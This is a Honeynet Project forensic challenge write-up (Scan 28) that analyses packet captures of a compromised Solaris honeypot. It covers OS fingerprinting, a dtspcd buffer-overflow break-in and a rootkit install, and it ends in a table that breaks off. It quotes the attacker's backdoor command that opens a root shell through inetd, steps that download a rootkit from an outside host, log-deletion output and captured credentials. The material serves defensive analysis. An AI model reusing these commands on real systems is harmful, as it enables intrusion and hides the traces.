Scan 28
Writeup by Dophine V. Britanico
Acknowledgment
To GOD for without his guidance you're not reading this man.
To Mr. Raul Garcia of the AT&T Mexico Honeynet for sharing his logs to all of us.
To all the Nice People of the Honeynet Project for starting this fun.
To the Computer Security Community.
To all who submit entries here past and future. Keep on submitting.
To my daughters who inspire me.
Table of Contents
II. Conventions Used in This Write-Up Article
III. The Beginning A Road to Perdition
IV. Step Taken And Technical Analysis
Peek a boo tee (day1.log.gz my first attempt )
V. My Poor Digital Forensics, A Technical Analysis
A. Operating System Fingerprinting: (Ans. to Honeynet Question 1)
Technique I Utilizing Ethereal Ethernet field
Technique II Passive OS Fingerprinting
B. Break-In (Ans. to Honeynet Question 2)
Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump
Buffer Overflow TCP Stream Content
C. Operation Recon (Ans. to Honeynet Question 3)
D. Attack Sequence Diagram (Ans. to Honeynet Question 4)
E. Breaking ‘’skillz’’ Inside Downloaded Tar Balls (Ans. To Honeynet Question 5)
F. Covert Datagrams (Ans. to Honeynet Question 6)
DDOS Shaft Reference My Analysis
G. La Gringo y Nacionalista Partida Con Retarded (Ans. to Honeynet Question 7)
Random translation sample taken from IRC session
Fact from psyBNC Documentation
Truth or Lies or Both ( Assumption One )
Fact from the Logs and Sample psyBNC session logs
Members of the AT&T Mexico Honeynet captured a unique attack. As common, what is interesting is not how the attackers broke in, but what they did afterwards. Your mission is to analyze the network capture of the attacker's activity and decode the attacker's actions. There are two binary log files. Day1 captured the break in, Day3 captures some unique activity following the compromise. The honeypot in question is IP 192.168.100.28. Make sure you review the challenge criteria before submitting your writeup.
II. Conventions Used in This Write-up Article
This article uses the following conventions:
Small face courier new fonts are output or results of queries done.
Italicized font are commands
Honeynet refers to http://project.honeynet.org
Honeypot refers to 192.168.100.28 or zoberius.example.net.mx
Intruder , attacker, blackhat, and scripty refers to cracker.
Hacker refers to all of us
Red courier new fonts are of those of the attacker
BOLDFACE, italics, notes or other relevant information, and rants are mine
Corrections or errors and anything else incognito are not mine.
III. The Beginning A Road to Perdition
I’ll skip the part illustrating how I downloaded the binary compress log file, since it is obvious everybody with computer background knows how to download particular file/s from the net regardless of skills and Operating system the particular user/s is using, illustrating here is unnecessary. Next performing an md5sum of the binaries is I think also not necessary but to make it sure I follow one instinctive rule I acquired in computer security that I should not trust any body. (I mean files/binaries IMHO). In Linux that should look like.
1. [root@katana /tmp]# /usr/bin/md5sum day1.log.gz day3.log.gz
79e5871791542c8f38dd9cee2b2bc317 day1.log.gz
af8ab95f41530fe3561b506b422ed636 day3.log.gz
After comparing our md5sum to the one posted by honeynet I absolutely know for sure that the two binaries are standard compress files in Gnu zip format, and it can be extracted by our usual UNIX binaries or in Windows PKZIP, WinRar and Etc. Here’s the command line.
2. [root@katana /tmp]#/usr/bin/file -z day1.log.gz day3.log.gz
day1.log.gz : tcpdump capture file (little-endian) – version 2.4 (Ethereal, capture length 1514) (gzip compressed data, deflated, original filename, last modified blah.. os: Unix)
day3.log.gz : tcpdump capture file (little-endian) – version 2.4 (Ethereal, capture length 1514) (gzip compressed data, deflated, original filename, last modified blah.. os: Unix)
3. [root@katana /tmp]#/usr/bin/gzip –d day1.log.gz day3.log.gz
The file command at 2 confirms that it can be feed on Ethereal, Tcpdump or Snort. Ethereal is my first choice since I use it every time I connect to the internet and besides of its excellent documentation, ease of use and free. I found it easy yet powerful. www.ethereal .com provides technical reference and frequently ask questions.
The next paragraphs down below demonstrates how I mangle the answers to the questions posted by honeynet project so lets get going. :-) To the non – technical audience just go to the Q&A portion.
IV. Steps Taken and Technical Analysis
Among the blackhat community and as I usually observed with past and present vulnerability or exploit codes written and submitted by blackhat and whitehat alike seems to have common characteristics either the exploit is local or remote one have had almost connect to well known ports of the target system, while on some instances have had on the high port above 1024++, excluding of course those of Remote Administration Trojans (RAT), and anything the blackhat may conjure out of digital vastness of the target Operating System. I do not say that It can not be circumvented that my assessment is not correct but there’s nothing (we) lost if lets say applied again this time, thinking like a cracker be a good start.
So I load the first logs (day1.log) within Ethereal and at first glance I see lots of UDP traffic directed to our honeypot (192.168.100.28) but I have no Idea what’s going on unless I follow every packet on the logs which is insanity. Imagine that on a large real world scenario let say an ISP with a not less than thousand subscribers running 24/7 and suddenly defaced and you as an independent digital forensic expert commissioned to siphoned, filter, make a perfect assessment of the intruder, how it was done, where, when and other attributes that will make an arrest, complicate it more with a deadline and hundreds or perhaps thousands of megabytes of raw packet log data, where to start, where to begin and other what ifs are most of the concerned of people like us. But thanks to Ethereal the Free Network Protocol Analyzer and some deep knowledge of the working craziness and technical parlance of the TCP/IP protocol and other sci-fi sounding network related protocols by equally sci-fi sounding organizations, work is not hard but time consuming. To begin I have this in mind and I religiously consult it every time I Hack my systems and Analyze logs like this one. It may and may not work for you.
1. Tools ( Computers and Includes O.S.) want a good list of some http://www.nmap.org/tools.html ; - ) depends on what side and color your in.
2. Test System ( To the expert you can do it on your production system, if your using specialize software like vmware for a network stimulation and for a cost )
3. Theory / Lies / Truths / and Paranormal Thinking something like pre-cog like vision of Lies.. On this exercise here is mine.
a. filter ip.dst eq honeypot and tcp.flags.syn (3 way handshake) and tcp.port eq lt 1024 (Well known Ports) other filter like lt 7000 and not eq 1024
b. ip.dst eq honeypot and ip.proto eq UDP / TCP et all
c. ip.src honeypot and ip.dst IP and 3 way handshake or SYN/RST/FIN/URG
d. Snort IDS to help us Identify potential security breach because I can’t memorize it all Dooh! I bet my arse even the most expert of the expert in computer security cannot memorize and summarize and technically present all of the security exploit in mind in one big swoop without reference or tools of some sort.
e. Analyze Filter Results
4. Test, Verify, Test again and Lie to the teeth if assessment is incorrect back to checklist 3.
5. Caffeine and Stamina.
Peek a boo tee (day1.log.gz my first attempt )
Filter description: enumerate all possible 3 way handshake connection destined to IP address honeynet from any IP address connecting to well known ports and pipe the result to file handshake_a.
ip.dst eq honeynet and tcp.flags.syn and tcp.port lt 1024 > handshake_a
Here’s the filter summary and it seems interesting
203.69.233.93 -> 192.168.100.28 TCP 2341 > 443 3 attempt
61.144.145.243 -> 192.168.100.28 TCP 3668 > 80
62.211.66.16 -> 192.168.100.28 TCP 21 > 32783 [SYN, ACK] Well :-)
62.211.66.53 -> 192.168.100.28 TCP 80 > 32789
62.211.66.53 -> 192.168.100.28 TCP 80 > 32789
62.211.66.53 -> 192.168.100.28 HTTP HTTP/1.1 200 OK
192.18.99.122 -> 192.168.100.28 TCP 21 > 32791
61.221.179.26 -> 192.168.100.28 TCP 4342 > 23 1 attempt
206.252.192.195 -> 192.168.100.28 TCP 7254 > 113 9 attempt
67.195.152.135 -> 192.168.100.28 TCP 1146 > 139 3 attempt
66.28.103.87 -> 192.168.100.28 TCP 1742 > 443 1 attempt
211.75.30.52 -> 192.168.100.28 TCP 1159 > 443 1 attempt
64.24.196.50 -> 192.168.100.28 TCP 0 > 3128 Portscan ?
64.24.196.50 -> 192.168.100.28 TCP 0 > 80
64.24.196.50 -> 192.168.100.28 TCP 0 > 8080
Filter description: enumerate all possible 3 way handshake connection destined to IP address honeynet from any IP address connecting to ports less than 7000 but not less than well known ports and pipe the result to file handshake_b.
ip.dst eq honeynet and tcp.flags.syn and tcp.port lt 7000 and
not tcp.port le 1024 > handshake_b
24.167.44.129 -> 192.168.100.28 TCP 3018 > 1433 3 attempts
61.144.145.243 -> 192.168.100.28 TCP 3667 > 8080,3128 6 attempts
203.239.31.60 -> 192.168.100.28 TCP 1191 > 1433 3 attempts
67.36.28.116 -> 192.168.100.28 TCP 3916 > 1433 3 attempts
61.219.90.180 -> 192.168.100.28 TCP 56399 > 6112 our honeypot performs
SYN/PSH/ACK and it seems it acknowledge it.
We got a break in?
80.117.14.44 -> 192.168.100.28 TCP 3934 > 7000 Let see this on RFC 1700
206.252.192.195 -> 192.168.100.28 TCP 6667 > 32795 Oh! IRC
211.214.125.74 -> 192.168.100.28 TCP 2262 > 1433 3 attempts
64.231.37.135 -> 192.168.100.28 TCP 3731 > 1433 3 attempts
c. Third filter acthung confirmation
Filter description: enumerate all possible IP address that our honeynet acknowledge [ACK] and deny and pipe the result to file acthung.
ip.src eq honeynet and tcp.flags.ack > acthung
192.168.100.28 -> 24.167.44.129 TCP 1433 > 3018 [RST, ACK] denied 3x
192.168.100.28 -> 203.69.233.93 TCP 443 > 2341 [RST, ACK]
192.168.100.28 -> 61.144.145.243 TCP 80,8080 > 3667 [RST, ACK]
192.168.100.28 -> 203.239.31.60 TCP 1433 > 1191 [RST, ACK] denied 3x
192.168.100.28 -> 67.36.28.116 TCP 1433 > 3916 [RST, ACK denied 3x
192.168.100.28 -> 61.219.90.180 TCP 6112 > 56399 [SYN, ACK] Break in
192.168.100.28 -> 62.211.66.16 TCP 32783 > 21 [SYN] FTP Request
192.168.100.28 -> 62.211.66.53 TCP 32789 > 80 [SYN] HTTP Request
192.168.100.28 -> 192.18.99.122 TCP 32791 > 21 [ACK] Another FTP Request
192.168.100.28 -> 61.221.179.26 TCP 23 > 4342 [RST, ACK] denied
192.168.100.28 -> 80.117.14.44 TCP 7000 > 3934 [SYN, ACK] Gryphon
192.168.100.28 -> 206.252.192.195 TCP 32795 > 6667 [SYN] IRC
192.168.100.28 -> 64.231.37.135 TCP 1433 > 3731 [RST, ACK] denied 3x
192.168.100.28 -> 64.24.196.50 TCP 3128,80,8080,1080>0 [RST,ACK] denied 4x
ip.dst eq honeynet and ip.proto eq 0x01 (ICMP) > icmp
192.168.100.28 -> 10.12.9.141 ICMP Destination unreachable
218.17.158.135 Interesting PortScan?
200.171.38.61
148.244.153.69 -> 192.168.100.28
148.244.153.69 -> 192.168.100.28
64.14.117.10 -> 192.168.100.28 ICMP Echo (ping) request
63.218.7.130 -> 192.168.100.28
.
... <Cut Here>
e. Day1 filter results summary
Going back to the results of our first, second, and third filter we can clearly see that we’ve got a standard mark of network probe or recon going on targeting our honeypot well known services (RFC 1700). Clearly seen also in third filter results our honeypot denied some of them and initiates a connections with IP 62.211.66.16 and 62.211.66.53.
Probe / Recon Results
Service Port
http 80
web-cache/proxy 8080
http secure 443
telnet 23
auth. tap ident 113
netbios session service 139
sql 1433
And going on further detail of IP address 62.211.66.16 and 62.211.66.53 Initiating an ftp and http request, (this does not mean that IP address 62.211.66.16 and 62.211.66.53 are our potential intruders because our result in our third filter verified that the IP address clearly came from our honeypot) we followed packet stream starting at 62.211.66.16 and we got this:
220 services FTP server (Version XOOM FTP 1.24.3+local-release Fri Aug 28 15:52:40 PDT 1998) ready.
USER bobzz
331 Password required for bobzz.
PASS joka
230 User bobzz logged in.
PORT 192,168,100,28,128,16
200 PORT command successful.
RETR wget
150 Opening ASCII mode data connection for wget (136288 bytes).
226 Transfer complete.
PORT 192,168,100,28,128,17
200 PORT command successful.
RETR dlp
150 Opening ASCII mode data connection for dlp (1587 bytes).
226 Transfer complete.
PORT 192,168,100,28,128,18
200 PORT command successful.
RETR solbnc
150 Opening ASCII mode data connection for solbnc (109372 bytes).
226 Transfer complete.
PORT 192,168,100,28,128,19
200 PORT command successful.
RETR iupv6sun
550 iupv6sun: No such file or directory.
PORT 192,168,100,28,128,20
200 PORT command successful.
RETR ipv6sun
150 Opening ASCII mode data connection for ipv6sun (480 bytes).
226 Transfer complete.
QUIT
221 Goodbye.
Decoding from this data someone manage to get in from our honeypot and downloaded from ftp, files probably rootkits or something? Since we do not know for sure how the intruder get in and how the file works we continued decoding packet stream from 62.211.66.53 and here’s what we’ve got:
GET /bobzz/sol.tar.gz HTTP/1.0
User-Agent: Wget/1.5.3
Host: 62.211.66.53:80
Accept: */*
.
..
Lets save the file to sol.tar.gz so that we can analyze it later. Our first assessment seems to answer some of the question of the honeynet project and with the partial data at hand we can now visually illustrate the sequences involved on the attack and how it works, before we go any further lets take a more in depth technical look and the same time we will answer questions 1 to 4 of the honeynet project. For the less technical audience I recommend going straight to Q&A section of this article. Down Below. Ok!, Lets Rock!
V. My Poor Digital Forensics, a Technical Analysis
A. Operating System Fingerprinting the Honeypot ( Honeynet Question 1)
1.) Technique I Utilizing Ethereal Ethernet field
2.) Technique II Passive OS Fingerprinting
3.) Technique III Other Methods
4.) Other Relevant Evidences
5.) Os Fingerprinting Summary
B. Break-In (Honeynet Question 2)
1.) Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump
2.) Buffer Overflow TCP Stream Content
3.) Attacker Keystrokes
C. Operation Recon (Honeynet Question 3)
1.) Snort Results
2.) UDP Traffic
3.) P0f Results
4.) Queries
5.) Operation Recon Summary
D. Attack Sequence Diagram (Honeynet Question 4)
E. Breaking ‘’skillz’’ Inside the Downloaded Tar Balls (Honeynet question 5)
1.) skillz summary
F. Covert Datagrams (Honeynet question 6)
1.) Snort Application Layer dump
2.) DDOS Shaft Reference My Analysis
a.) DDOS Overview
b.) Sample Layman’s Data
c.) Sample Technical Data
d.) DDOS Results
3.) Covert Datagrams Summary
G. La Gringo y Nacionalista Partida Con Retarded (Honeynet Question 7)
1.) Overview
2.) Random translation sample taken from IRC session
3.) Fact from psyBNC Documentation
4.) Truth or Lies or Both ( Assumption One )
5.) Fact from the Logs and Sample psyBNC session logs
6.) Assumption Two
7.) Enter The Rootkit
8.) Final Assumption
A. Operating System Fingerprinting: (Honeynet Question 1)
We will skip and not go on the detail again on the part on internet communication using TCP/IP specially, since reference and articles on this topic abound the Net I’ll suggest google it. Neither I’ll re-write nor discuss fingerprinting articles here, what I discuss is how I manage somehow to figure out the answer to question number 1 of the honeynet project. For details of O.S. fingerprinting articles and others references used here, please go to the References section.
1. Technique I (going once) ethereal ethernet field
Ethereal has built in OS fingerprinting code block AFAIK and it can identify with certain accuracy the operating systems of the source and destination IP address from the packet frame Ethernet field: Here’s a sample taken from day1.log.gz:
Src Addr: 192.168.100.28 Dst Addr: 10.12.9.141
Ethernet II, Src:08:00:20:d1:76:19, Dst: 00:07:ec:b2:do:0a
Destination: 00:07:ec:b2:do:0a (Cisco_b2:d0:0a)
Source: 08:00:20:d1:76:19 (Sun_d1:76:19)
‘’Using filter tcp.flags.syn and ip.dst eq 192.168.100.28 reveals all other IP address connected initiating a 3 way handshake with the honeypot and taking random packet sample data shows similar results for IP address 192.168.100.28 a perfect start if blind guessing for the first time. So our initial guess of the honeypot OS is Sun Operating System.’’
2. Technique II (going twice) Passive OS Fingerprinting
According to Max Vision Passive Host Fingerprinting is the practice of determining a remote operating system by measuring the peculiarities of observed traffic without actively sending probes to the host. His paper and other reference related to Passive Host Fingerprinting is on the References section so I will not repeat it here. To determined the OS of a certain IP address or trace the origin of the offending IP address, we can use the Time To Leave (TTL) values to determine the OS type and even with accuracy trace back the offending IP address back to his upstream provider without him / her knowing. Combine with window size, maximum segment size, don’t fragment flags, window scaling, sackOK flag, and nop flag of the TCP/IP stack we can 90% sure identify the remote Operating System. Here’s our honeypot uniq OS signature.
Note: This can all be spoof and injected raw in a packet.
day1.log.gz packet frame 562 src ip eq 192.168.100.28
window size = 24616
Initial TTL = 64
Maximum segment size = 1460 bytes
Don’t Fragment Flag = 1 (0=unset, 1=set)
Window Scaling = -1 (not present)
SackOK Flag = Permitted
Nop Flag = 1 (Set)
And Winnie the ‘p0f’ reveals honeypot using Sun OS 5.8 on Sparc. Accurately.
3. Technique III (going thrice) Other Methods
NMAP stealth network scanner – use for covert recon and OS identification of local and remote systems, useful on real-time back-trace in case your machine is compromise and paranoid.
There are other useful tools that can duplicate all of the above.
You can gooooooooooogle it..
4. Other Evidences Honeypot using Sun OS 5.8 on Sparc
1. After the successful remote buffer overflow attacker type unix command
#uname –a
SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
2. FTP download of Sun rootkits binaries and FTP download from Sun Microsystems FTP site
3. Unix file description of some of the binaries e.q. solsch
[root@katana /tmp]# /usr/bin/file solsch
solsch: ELF 32-bit MSB executable, SPARC, version 1, dynamically linked (uses shared libs), not stripped
I don’t personally recommend technique (I) which result give you a wild goose chase since raw packet injection is widely used by Blackhats, I may be wrong with this but technique number (I) is just a good base line on what to expect, technique (II) is far more accurate and technique (III) combine with technique (II) and Ethereal provide very accurate results. And that’s how I figured out the answer of project honeynet questions 1.
B. Break-In (Honeynet Question 2)
Back on filter number two and filter number 3 I’ve notice that our honeynet established a connection to IP address 61.219.90.180 (192.168.100.28 -> 61.219.90.180 TCP 6112 > 56399 [SYN, ACK] ) and upon closer scrutiny of the packet capture beginning at packet frame 561 we’ve got this awesome data. An again, again for the less technical audience please skip to the Q&A section or press Alt-F4.
1. Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump
Packet
1. 61.219.90.180 requesting connection [SYN] to 192.168.100.28 dest port 6112
2. 192.168.100.28 ACK it [Packet 1]
3. 61.219.90.180 requesting connection again this time port 1524 [ingresslock]
4. 192.168.100.28 Reset Connections [RST,ACK] [Packet 3]
5. 61.219.90.180 requesting connection [SYN] dest port 6112
6. 192.168.100.28 ACK it [Packet 5]
7. 61.219.90.180 ACK it and Sends data [PSH,ACK] 000000 02040000d0001 4 .root..10..
8. 192.168.100.28 ACK it [Packet 7] 000000001400320001 3 //.SPC_AAAVTaqDd 1000 zoberius:SunOS:5.8:sun4u
9. 61.219.90.180 Injects a remote buffer overflow packet 585 with 1282 bytes of
AAAAAAAAAAAAAAAAAAAAAAAA… <cut>
10. 192.168.100.28 ACK it and binds port 1524 ingresslock to attacker 61.219.90.180
2. Buffer Overflow TCP Stream Content
/bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i" > /tmp/x
/usr/sbin/inetd -s /tmp/x
sleep 10
/bin/rm -f /tmp/x AAAAAAAAAAAAAAAAAAAAAAAAA... <cut>
“That’s seems to answer our question on how the attacker penetrate our honeypot. Next we follow the packet stream between our attacker session with our honeypot using port 1524/ingresslock and take a glimpse of the attackers keystrokes next...”
3. Attackers Keystroke : (reformatted from the stream for clarity)
Attacker issues uname command to print system information like machine, network, and OS release.
#uname –a
SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
#ls -l /core /var/dt/tmp/DTSPCD.log
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
Attacker Sets Path so that he/she can execute remote victim OS binaries
#PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH
Attacker probably looking if BD Process ID exist (I don’t know if BD stands for BackDoor since I don’t have any SUN OS at hand)
#echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v
grep|awk '{print $2}'`
BD PID(s): 1773
Attacker execute wget binary to download but hopefully it is not on the victim OS
# wget
wget: not found
Tried to see who’s online to make it sure (Lucky! And Honeypot uptime is 13 days eh!)
# w
9:44am up 13 day(s), 4:24, 0 users, load average: 0.00, 0.00, 0.01
User tty login@ idle JCPU PCPU what
Set shell to interactive mode
# /bin/sh -i
unset HISTFILE
# unset DISPLAY
mkdir /usr/share/man/man1/.old
cd /usr/share/man/man1/.old
Attacker FTPed to 62.211.66.16
# ftp 62.211.66.16 21
bobzz
ftp: ioctl(TIOCGETP): Invalid argument
Password:joka
Downloaded binaries
get wget
get dlp
get solbnc
get iupv6sun
Name (62.211.66.16:root): iupv6sun: No such file or directory.
get ipv6sun
quit
Verify the location. What for?
# ls
dlp
ipv6sun
solbnc
wget
Attacker changes file permission of the binaries to executable
# chmod +x solbnc wget dlp
And probably don’t know how to use it
# ./wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
So our previous assessment a while ago is correct.
# ./wget http://62.211.66.53/bobzz/sol.tar.gz
--09:47:58-- http://62.211.66.53:80/bobzz/sol.tar.gz
=> `sol.tar.gz'
Connecting to 62.211.66.53:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,884,160 [application/x-tar]
0K -> .......... .......... .......... .......... [ 2%]
.
..
1800K -> .......... .......... .......... .......... [100%]
09:55:09 (4.27 KB/s) - `sol.tar.gz' saved [1884160/1884160]
Here we notice attacker redundantly commit typos
# rrrrrretar -xf sol.tar.gz
rrrrrretar: not found
# cd sol
sol: does not exist
# ./setup
./setup: not found
# cd sol
sol: does not exist
Unpack the the downloaded gzip tar ball
# tar -xf sol.tar.gz
And set it up
# cd sol
# ./setup
[0;36mbobz oN ircNet on join #privè
/\ /\
_/ \ ___| Autor: bobz |___ / \_
\ / \ /
\/ \/
********
******** ** ** **
** ** ** * *
******* ********** ** ** * *
******* ** ** ****** ********
** ** ** ****** **********
******* ** ** ** ** ** **
******* ** ** ** ** ** **
********** ** ** ** **
/\ /\
_/ \ ___| Autor: bobz |___ / \_
\ / \ /
\/ \/
...:::[ Autore bobz ]:::...
...:::[ On IRcnEt On Join #bobz ]:::...
Ti:AmO:RosariADelete Logz...
.
..
Cut here
We noticed here that setup from the tar ball completed an auto scripts that deleted log files at /var/log directory check rootkits, install new one and remove it from common favorites hiding places of blackhats like /etc/rc2, and crond daemon. Next the script ask for the rootkit password so that when our attacker wishes to get back anytime in the future he/she can just get back in un-noticed.
[1;37m***[0;37m Insert Rootkit Password :
mixer
[1;37m***[0;37m Using Password mixer
[1;37m***[0;37m Insert Rootkit SSH Port :
5001
[1;37m***[0;37m Using Port 5001
[1;37m***[0;37m Insert Rootkit PsyBNC Port :
7000
[1;37m***[0;37m Using Port 7000
Next the script make backup of the trojan binaries replace by the rootkit and auto patched the system.
[1;37m*[0;37m Making backups... su ping du passwd find ls netstat strings ps Done.
[1;37m*[0;37m Installing trojans... login sshd netstat ls find strings du passwd ping su Complete.
[1;37m*[0;37m Suid removal at atq atrm eject fdformat rdist rdist admintool ufsdump ufsrestore quota ff.core lpset lpstat netpr arp chkperm Complete.
[1;37m*[0;37m Starting Patcher...
* Patching...
DTSCD PATCHED
LPD PATCHED
fingerd
cmsd
ttdbserverd
sadmind
statd
rquotad
rusersd
cachefsd
bindshells
snmpXdmid
Done.
Next our attacker is clever enough to download patches from Sun Microsystems ftp site, to make sure no one gets in on the newly owned nix box except our attacker.
Downloaded binary patches are:
111085-02.zip
108949-07.zip
Here’s sample TCP decode of the session.
220-
220-Welcome to the SunSolve Online FTP server.
220-
220-Public users may log in as anonymous.
220-
220-Contract customers should use the following 2-tier login procedure:
220-
220-At the 1st login prompt: sunsolve
220- passwd: sunmicro
220-
220-At the 2nd login prompt: <sunsolve login name>/<sunsolve passwd>
220-example: myssID/mypasswd
220-
220-Public users may log in as anonymous; contract customers
220-should use the standard sunsolve login and password,
220-followed by their SunSolve account/password when prompted.
220-
220-
220 sunsolve8 FTP server (Version wu-2.6.2(21) Thu Mar 14 14:48:19 MST 2002) ready.
USER anonymous
331 Guest login ok, send your complete e-mail address as password.
PASS root@zoberius.example.net.mx
230-Please read the file README
230- it was last modified on Mon Aug 26 09:27:12 2002 - 95 days ago
230 Guest login ok, access restrictions apply.
TYPE I
200 Type set to I.
CWD pub/patches
250 CWD command successful.
PORT 192,168,100,28,128,26
200 PORT command successful.
RETR 108949-07.zip
150 Opening BINARY mode data connection for 108949-07.zip (1033092 bytes).
226 Transfer complete.
221 You could at least say goodbye.
And here’s what is sample session from the remote host 61.219.90.180 binding at port 1524
--09:56:21-- ftp://sunsolve.sun.com:21/pub/patches/BINARIES
=> `BINARIES'
Connecting to sunsolve.sun.com:21... connected!
Logging in as anonymous ... Logged in!
==> TYPE I ... done. ==> CWD pub/patches ... done. Set Transfer Mode Binary
==> PORT ... done. ==> RETR BINARIES ... done.
After the successful patched, attacker Install BNC to start IRC chat session
# ./startbnc
.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.2.1 (c) 1999-2000
the most psychoid
and the cool lam3rz Group IRCnet
`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
Configuration File: psybnc.conf
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 7000
psyBNC2.2.1-cBtITLdDMSNp started (PID 3262)
^[[1;37m*^[[0;37m psyBNC installed - loaded on reboot :>
Next our attacker execute binary solbnc, and upon looking at the binary, it seems the binary is the one responsible for random IP scan and ICMP packet storm on day 1 and 3 logs.
# cd ..
# ./solbnc
# ./dlp
Delete LogZ by bobbino
-------
Deleting /var/log...
.
..
---
LogZ Cancellati...
Delete LogZ by bobbino
root 167 1 0 Nov 16 ? 0:00 /usr/sbin/inetd -s
root 3325 3265 0 10:02:25 ? 0:00 grep inetd
---
Patch.....
Attivata by RyO
#
C. Operation Recon (Honeynet Question 3)
Still relying and referring on our filter data above, we’ve seen a classic probe or recon going on before the initial break in and to answer the number 3 question fairly, we expand our forensics detective work to another level this time well utilize Snort.
Having by-pass Snort IDS after all the forensics work above and relying only on Ethereal and some Linux binaries, it’s fair that we’re should give it a try. So my first order of battle is of course day1.log.gz
[root@katana /tmp]# snort –A full –c snort.conf –r day1.log.gz
Snort processed 18843 packets.
Breakdown by protocol: Action Stats:
TCP: 12773 (67.786%) ALERTS: 1910
UDP: 3948 (20.952%) LOGGED: 1908
ICMP: 2122 (11.261%) PASSED: 0
ARP: 0 (0.000%)
EAPOL: 0 (0.000%)
IPv6: 0 (0.000%)
IPX: 0 (0.000%)
OTHER: 0 (0.000%)
Oh!, what’s the flurry of alerts and we’ve got lots of ICMP and UDP. Let’s mine the logs and here’s what snort says.
[**] [1:620:2] SCAN Proxy (8080) attempt [**]
[Classification: Attempted Information Leak] [Priority: 2]
11/29-20:25:08.481119 61.144.145.243:3667 -> 192.168.100.28:8080
TCP TTL:47 TOS:0x0 ID:19890 IpLen:20 DgmLen:52 DF
******S* Seq: 0x15E082B1 Ack: 0x0 Win: 0xE640 TcpLen: 32
TCP Options (6) => MSS: 1452 NOP WS: 2 NOP NOP SackOK
[**] [1:618:2] SCAN Squid Proxy attempt [**]
[Classification: Attempted Information Leak] [Priority: 2]
11/29-20:25:08.481119 61.144.145.243:3677 -> 192.168.100.28:3128
TCP TTL:47 TOS:0x0 ID:19892 IpLen:20 DgmLen:52 DF
******S* Seq: 0x15E1F6DD Ack: 0x0 Win: 0xE640 TcpLen: 32
TCP Options (6) => MSS: 1452 NOP WS: 2 NOP N
.
..
[**] [117:1:1] (spp_portscan2) Portscan detected from 192.168.100.28: 6 targets 5 ports in 1384 seconds [**]
11/29-21:29:40.738675 192.168.100.28:32789 -> 204.70.57.242:53
UDP TTL:255 TOS:0x0 ID:49293 IpLen:20 DgmLen:73 DF
Len: 53
[**] [1:1734:5] FTP USER overflow attempt [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
11/29-23:43:50.213348 192.168.100.28:32783 -> 62.211.66.16:21
TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:209
***AP*** Seq: 0xA6883EB3 Ack: 0xBFBE2DD5 Win: 0xFFFF TcpLen: 20
[Xref => bugtraq 4638]
[**] [1:499:3] ICMP Large ICMP Packet [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
11/29-23:59:52.338046 192.168.100.28 -> 217.116.38.10
ICMP TTL:255 TOS:0x0 ID:16475 IpLen:20 DgmLen:1044 DF
Type:0 Code:0 ID:6666 Seq:0 ECHO REPLY
[Xref => arachnids 246]
[**] [1:480:2] ICMP PING speedera [**]
[Classification: Misc activity] [Priority: 3]
11/30-01:15:27.100598 216.73.82.10 -> 192.168.100.28
ICMP TTL:51 TOS:0x0 ID:47239 IpLen:20 DgmLen:84
Type:8 Code:0 ID:10245 Seq:49995 ECHO
‘’That confirms our initial assessment as seen on Probe / Recon Results Sub Title above
and consulting the SID of the Intrusion we got.’’
SID Message Description Classtype
620 SCAN Proxy \(8080\) attempt Attempted-recon
618 SCAN Squid Proxy attempt Attempted-recon
117 SPP_PORTSCAN Port Scan
1734 FTP USER overflow attempt Attempted Admin
Privilege Gain
499 ICMP Large ICMP Packet Bad-unknown;
SID 499 Summary: A large ICMP packet was sent to one of your systems.
Impact: Denial of service by system crash or bandwidth utilisation.
480 ICMP PING speedera misc-activity
SID 480 Summary: Benevolent ping used by SpeedEra.net to find closest
cache for you
Attack Scenario: This is not really an attack. However an attacker could
disguise their pings as speedera pings, but this is
unlikely.
Back again to Ethereal, we filter all UDP traffic coming from random IP, destination our honeypot just before the remote buffer overflow and here’s a striped sample of them:
194.25.2.133 -> 192.168.100.28 DNS Standard query response PTR p5080B947.dip.t-dialin.net
217.5.100.186 -> 192.168.100.28 DNS Standard query response A 80.128.185.71
213.234.132.130 -> 192.168.100.28 DNS Standard query response PTR adsl-62-123-121-99.dial.ipervia.it
213.234.128.211 -> 192.168.100.28 DNS Standard query response, No such name
168.95.1.14 -> 192.168.100.28 DNS Standard query response PTR 218-162-34-100.HINET-IP.hinet.net
.
.. <cut>
My assessment here is our attacker probably performing whois and dig queries of the honeypot using several nameservers.
Next I perform passive OS fingerprinting of the probable attackers IP address still using the filters above and here’s what we got the rest remove for clarity.
Base on the recovered keystrokes and tcp stream analysis, so if I’ve missed something my apologies :-(
|
SRC IP |
OS |
EVENT / PORT / nTimes |
HONEYPOT RESPONSE |
|
203.69.233.93 |
Linux 2.2.9 – 2.2.18 |
RE-CON / 443 / 3x |
DENIED [RST] |
|
61.144.145.243 |
UNKNOWN |
RE-CON / 80,8080,3128 / 9x |
DENIED [RST] |
|
61.221.179.26 |
Linux 2.2.9 – 2.2.18 |
RE-CON / 23 / 1x |
DENIED [RST] |
|
67.195.152.135 |
Windows 2000 Pro (2128) |
RE-CON / 113 / 3x |
DENIED [RST] |
|
203.239.31.60 |
Windows 2000 (9) |
RE-CON /1433 / 3x |
DENIED [RST] |
|
61.211.179.26 |
Linux 2.2.9 – 2.2.18 |
RE-CON / 23 / 1x |
